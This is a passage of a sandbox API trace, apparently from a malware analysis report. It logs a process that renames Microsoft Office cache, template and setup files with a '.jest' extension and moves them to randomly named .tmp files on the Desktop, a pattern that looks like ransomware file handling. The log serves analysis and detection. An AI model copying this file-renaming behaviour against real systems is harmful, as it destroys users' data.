(normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.333] GetLastError () returned 0x0 [0162.333] VarBstrFromR4 (in: fltIn=0x47945601, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.01") returned 0x0 [0162.334] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L2UF7jSlJ 5hK9cMG8DMj7UilNCiDZLqgoSEDzuyemhYuO5KJiBsD0yBmiYrcKMCp4GGRDyZ5DYFy-CAPFvjePSBvqot WOIZg0-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l2uf7jslj 5hk9cmg8dmj7uilncidzlqgosedzuyemhyuo5kjibsd0ybmiyrckmcp4ggrdyz5dyfy-capfvjepsbvqot woizg0-.tmp")) returned 0 [0162.334] GetLastError () returned 0x2 [0162.335] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.jest")) returned 1 [0162.339] GetLastError () returned 0x0 [0162.340] VarBstrFromR4 (in: fltIn=0x47945601, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.01") returned 0x0 [0162.341] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22FLsoki8Qyh3fB24deLDfsA1l51_Se6sKJTOIfkkgh1ctbA2PXFx5LRdSjPbgnCkt0l tcF9VZ5IXC_V725xEl4G5XQvbzUU0Js.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22flsoki8qyh3fb24deldfsa1l51_se6skjtoifkkgh1ctba2pxfx5lrdsjpbgnckt0l tcf9vz5ixc_v725xel4g5xqvbzuu0js.tmp")) returned 0 [0162.341] GetLastError () returned 0x2 [0162.341] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.343] GetLastError () returned 0x0 [0162.343] VarBstrFromR4 (in: fltIn=0x47945603, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.02") returned 0x0 [0162.344] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6N93vLe9oDZFwS2HRXWuekQwNW8E M8LVxQQNX_zlhj2tk_0cbn1j_gFchH8UB8ie_pZILQze xrJHGI0dLJ52MUcZtb_GGgR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6n93vle9odzfws2hrxwuekqwnw8e m8lvxqqnx_zlhj2tk_0cbn1j_gfchh8ub8ie_pzilqze xrjhgi0dlj52mucztb_gggr.tmp")) returned 0 [0162.344] GetLastError () returned 0x2 [0162.345] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.jest")) returned 1 [0162.346] GetLastError () returned 0x0 [0162.347] VarBstrFromR4 (in: fltIn=0x47945603, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.02") returned 0x0 [0162.348] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yddQtRM5YjbnbAN2ikFgPY8WP6-1vuzgkLkcGbTfBMAtY2pTkvltVk0wtQyKRVmLq0 -LUb2kd5D hgYj2zfOoJ6Ap4fArw3pen20.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yddqtrm5yjbnban2ikfgpy8wp6-1vuzgklkcgbtfbmaty2ptkvltvk0wtqykrvmlq0 -lub2kd5d hgyj2zfooj6ap4farw3pen20.tmp")) returned 0 [0162.348] GetLastError () returned 0x2 [0162.349] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.jest")) returned 1 [0162.349] GetLastError () returned 0x0 [0162.350] VarBstrFromR4 (in: fltIn=0x47945603, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.02") returned 0x0 [0162.351] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K-DH3S2lg7WZ_rmPF8hfeqVXKn-RBPRcs8KYmrYQTBTkRKX96ZrSHxJVwHeYUrIU4y-6PSSkoVpSlsHFh_Ox0l4PBIVwOf0mXAc5s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k-dh3s2lg7wz_rmpf8hfeqvxkn-rbprcs8kymryqtbtkrkx96zrshxjvwheyuriu4y-6psskovpslshfh_ox0l4pbivwof0mxac5s.tmp")) returned 0 [0162.351] GetLastError () returned 0x2 [0162.352] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.jest")) returned 1 [0162.353] GetLastError () returned 0x0 [0162.353] VarBstrFromR4 (in: fltIn=0x47945603, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.02") returned 0x0 [0162.354] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyFlYZUQa7XhLJtw904FT5slQs-ZHC7qIcU _2lPIMtZJdYRu9hgGsGSmkKzq6nSCO09MAplDjNfR5TRqrUgBHj3oWJPsrxFrd5o.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyflyzuqa7xhljtw904ft5slqs-zhc7qicu _2lpimtzjdyru9hggsgsmkkzq6nsco09mapldjnfr5trqrugbhj3owjpsrxfrd5o.tmp")) returned 0 [0162.354] GetLastError () returned 0x2 [0162.356] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.360] GetLastError () returned 0x0 [0162.361] VarBstrFromR4 (in: fltIn=0x47945605, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.04") returned 0x0 [0162.363] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9GyPz3TDXvlbcNMcIjrESVKn29cqc0B2JBcqLL OsE0UOgBCE3ucgDWHfSdBFiccEEhTmiEOG2sEXM9z-TFMXwPfZ-4AC6ZXu9u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9gypz3tdxvlbcnmcijresvkn29cqc0b2jbcqll ose0uogbce3ucgdwhfsdbficceehtmieog2sexm9z-tfmxwpfz-4ac6zxu9u.tmp")) returned 0 [0162.363] GetLastError () returned 0x2 [0162.364] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.365] GetLastError () returned 0x0 [0162.366] VarBstrFromR4 (in: fltIn=0x47945605, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.04") returned 0x0 [0162.368] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sl9FMq9FwFq4J-WSynZ9COVP7y2OxdQSImgVIeYelLV6xB6ijwjrRErQwwQdsi3v-M7cisb7p1fNWzoHgkMcldt9Jdf7xfdV0QkPg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sl9fmq9fwfq4j-wsynz9covp7y2oxdqsimgvieyellv6xb6ijwjrrerqwwqdsi3v-m7cisb7p1fnwzohgkmcldt9jdf7xfdv0qkpg.tmp")) returned 0 [0162.368] GetLastError () returned 0x2 [0162.368] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.jest")) returned 1 [0162.369] GetLastError () returned 0x0 [0162.375] VarBstrFromR4 (in: fltIn=0x47945605, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.04") returned 0x0 [0162.377] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J5iGQ2BYc4fpjg5r6s7WDyI9L80tnGTuXmghWIi9jNCW-qdhXCdH9rYcG89_Urrmf7VUhZWJU5AZdlwRtjhWpoVUcKSqHtP ZFDOu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j5igq2byc4fpjg5r6s7wdyi9l80tngtuxmghwii9jncw-qdhxcdh9rycg89_urrmf7vuhzwju5azdlwrtjhwpovucksqhtp zfdou.tmp")) returned 0 [0162.377] GetLastError () returned 0x2 [0162.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx.jest")) returned 1 [0162.384] GetLastError () returned 0x0 [0162.385] VarBstrFromR4 (in: fltIn=0x47945607, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.05") returned 0x0 [0162.386] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tUx0E0IJoyJcKQqPDGRjxhPIu4j_d7oYoISaQ-Z GhvJMrIb2teQzDObZK-ib-mT6gpadXzxggmPOnH57KTmCmq9pyiielSuSvt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tux0e0ijoyjckqqpdgrjxhpiu4j_d7oyoisaq-z ghvjmrib2teqzdobzk-ib-mt6gpadxzxggmponh57ktmcmq9pyiielsusvt.tmp")) returned 0 [0162.386] GetLastError () returned 0x2 [0162.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx.jest")) returned 1 [0162.388] GetLastError () returned 0x0 [0162.389] VarBstrFromR4 (in: fltIn=0x47945607, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.05") returned 0x0 [0162.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ro-8Y9ynXAgyD4Tp3Ol_c-TYJb6 52BJR8HveDVQD3-WQciOXQ0SM3ibacXeVEWF3MmJ wJ8XNKSI1ehRtqifdgXZ0OVuwqbfBm9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ro-8y9ynxagyd4tp3ol_c-tyjb6 52bjr8hvedvqd3-wqcioxq0sm3ibacxevewf3mmj wj8xnksi1ehrtqifdgxz0ovuwqbfbm9.tmp")) returned 0 [0162.390] GetLastError () returned 0x2 [0162.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.jest")) returned 1 [0162.393] GetLastError () returned 0x0 [0162.394] VarBstrFromR4 (in: fltIn=0x47945609, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.07") returned 0x0 [0162.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G9kh5CDfxbZF7ERGM4AwHxkNgeU14o j5MT0SDd9H3E0OTgHwJQjBMIF5kd yDSdb9TCeHICsfcI4VNqDPLrSmmPBYiL-09sHVz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g9kh5cdfxbzf7ergm4awhxkngeu14o j5mt0sdd9h3e0otghwjqjbmif5kd ydsdb9tcehicsfci4vnqdplrsmmpbyil-09shvz.tmp")) returned 0 [0162.396] GetLastError () returned 0x2 [0162.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.jest")) returned 1 [0162.400] GetLastError () returned 0x0 [0162.401] VarBstrFromR4 (in: fltIn=0x47945609, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.07") returned 0x0 [0162.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RKxjqpj-4O7V_h_GuZXpunqlyr0-ECLOjg ZQRPYEndhzYqV0upZ-T6IDYxhMiCV-Rnqcfyqah05oSHz6wU CgwABX - KVBV3AIQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rkxjqpj-4o7v_h_guzxpunqlyr0-eclojg zqrpyendhzyqv0upz-t6idyxhmicv-rnqcfyqah05oshz6wu cgwabx - kvbv3aiq.tmp")) returned 0 [0162.402] GetLastError () returned 0x2 [0162.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.jest")) returned 1 [0162.406] GetLastError () returned 0x0 [0162.407] VarBstrFromR4 (in: fltIn=0x4794560b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.09") returned 0x0 [0162.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mx9L_gx6KVx1o5u69ysghZRU67rYQhqN6NkH_dFNsFX5Y76emPwCTk8WIrZ_E8e4RTg2DetvaM17eOM_SnsCg_UFGLGUdp8qoatd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mx9l_gx6kvx1o5u69ysghzru67ryqhqn6nkh_dfnsfx5y76empwctk8wirz_e8e4rtg2detvam17eom_snscg_ufglgudp8qoatd.tmp")) returned 0 [0162.408] GetLastError () returned 0x2 [0162.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.jest")) returned 1 [0162.412] GetLastError () returned 0x0 [0162.413] VarBstrFromR4 (in: fltIn=0x4794560b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.09") returned 0x0 [0162.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sIAeW4iJmsXW9-kTBAyR_pNi3tdHc8C30pZwt80WF1CkO8_fB1z4 24_KMFQp8tSwQMoFlWMWRQBRS8IV_Zz8rxjrwJLC jL6bt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\siaew4ijmsxw9-ktbayr_pni3tdhc8c30pzwt80wf1cko8_fb1z4 24_kmfqp8tswqmoflwmwrqbrs8iv_zz8rxjrwjlc jl6bt.tmp")) returned 0 [0162.414] GetLastError () returned 0x2 [0162.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx.jest")) returned 1 [0162.416] GetLastError () returned 0x0 [0162.416] VarBstrFromR4 (in: fltIn=0x4794560b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.09") returned 0x0 [0162.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mQqCy1Kh_dhaqpx8499vhL53VwKkGj-oJFDhmH2ItEBYeUy4lBiT8yrqoKJib7KTtSRctvWDdF7s0PbUk-tQRO7ft-RV4k31tD-a.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqqcy1kh_dhaqpx8499vhl53vwkkgj-ojfdhmh2itebyeuy4lbit8yrqokjib7kttsrctvwddf7s0pbuk-tqro7ft-rv4k31td-a.tmp")) returned 0 [0162.417] GetLastError () returned 0x2 [0162.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx.jest")) returned 1 [0162.420] GetLastError () returned 0x0 [0162.421] VarBstrFromR4 (in: fltIn=0x4794560d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.1") returned 0x0 [0162.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5eKyNAFs4skxM18Zuiulbf_L KwEWP a8mejR8 i7t XgBQWv2rWGoO3OlmOLuiIzF-1AxWnU0fG zELvTZZu1VnDW-wg_w56ek.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f5ekynafs4skxm18zuiulbf_l kwewp a8mejr8 i7t xgbqwv2rwgoo3olmoluiizf-1axwnu0fg zelvtzzu1vndw-wg_w56ek.tmp")) returned 0 [0162.422] GetLastError () returned 0x2 [0162.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.jest")) returned 1 [0162.423] GetLastError () returned 0x0 [0162.424] VarBstrFromR4 (in: fltIn=0x4794560d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.1") returned 0x0 [0162.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bCiISrVwAIkrekGkEUJtwCVXlhkzOzGZ6__j2v-emvX8-bFwqqREwucutzvQbQqdEWiuW055DlJzLKIbf86in8f8ZD8J5pQzNsOn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bciisrvwaikrekgkeujtwcvxlhkzozgz6__j2v-emvx8-bfwqqrewucutzvqbqqdewiuw055dljzlkibf86in8f8zd8j5pqznson.tmp")) returned 0 [0162.425] GetLastError () returned 0x2 [0162.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.jest")) returned 1 [0162.427] GetLastError () returned 0x0 [0162.427] VarBstrFromR4 (in: fltIn=0x4794560d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.1") returned 0x0 [0162.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dr0zol4lu-IJjj2TQvrHzJrDgTNBhnh7 oi 6F8yo5_WA8Bcdqytlvn87AfI7a3VXix0x teKHaJ-nfAuryfoAaV6K_HwolABQ6q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dr0zol4lu-ijjj2tqvrhzjrdgtnbhnh7 oi 6f8yo5_wa8bcdqytlvn87afi7a3vxix0x tekhaj-nfauryfoaav6k_hwolabq6q.tmp")) returned 0 [0162.429] GetLastError () returned 0x2 [0162.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx.jest")) returned 1 [0162.431] GetLastError () returned 0x0 [0162.431] VarBstrFromR4 (in: fltIn=0x4794560d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.1") returned 0x0 [0162.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SUsujw7_UkPrm3g4Q-ZWy9D2CtS92qReB5o BDiMf8Tx_Pet3Got_6_0zzXJxY5OtW528ZZYtWdGbI29MUyYYR5qx5wGtqfCoLE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\susujw7_ukprm3g4q-zwy9d2cts92qreb5o bdimf8tx_pet3got_6_0zzxjxy5otw528zzytwdgbi29muyyyr5qx5wgtqfcole.tmp")) returned 0 [0162.432] GetLastError () returned 0x2 [0162.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 